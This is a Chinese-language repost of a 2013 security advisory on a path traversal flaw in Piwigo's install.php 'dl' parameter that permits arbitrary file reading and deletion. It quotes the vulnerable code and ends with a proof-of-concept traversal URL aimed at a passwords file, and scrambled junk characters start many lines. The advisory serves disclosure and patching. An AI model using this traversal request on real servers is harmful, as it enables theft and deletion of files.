Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
5 ~) K% J( i4 D$ Q  ]
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
, C( |  U1 ~5 \9 `====================================================================
) k1 P( `5 T8 G( M, v/install.php:
/ S( n( e# R% z* R* t+ J: _-------------
1 W: n) l7 ~, [! |113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
: j) L& ?' ~* h/ o! h- |114: {
  }3 K6 `) ?9 u7 x; k- P% _115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
( ^5 n. {+ H0 d0 |116:   header('Cache-Control: no-cache, must-revalidate');
2 \& F, |( R2 L# F% J117:   header('Pragma: no-cache');
% l2 F9 I2 }9 h6 U% @7 `1 J118:   header('Content-Disposition: attachment; filename="database.inc.php"');
/ @  A; y  K6 k9 ]119:   header('Content-Transfer-Encoding: binary');
8 q7 i' o( f% r+ I) m120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
! |# d# i* y! g123:   exit();
4 Y  i" w7 u2 I) b6 Q+ C124: }
$ I, L/ j! D! {& M% B7 k  K: y====================================================================
% ^7 ^; B8 W1 |# H1 A) M  ~& I
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

  ~& H  `3 ^1 ~& {* G( P! GVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
5 V) |' ]  X4 T! r$ b+ S) H* E3 K
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
; g+ z3 S5 k  hVendor Patch: http://piwigo.org/bugs/view.php?id=2843
! p, d! n: t# b  @$ J
- K1 j& s4 K6 w( x15.02.2013
! p' N2 O' a, M8 [
--
; ~& B& ^0 g" Fhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt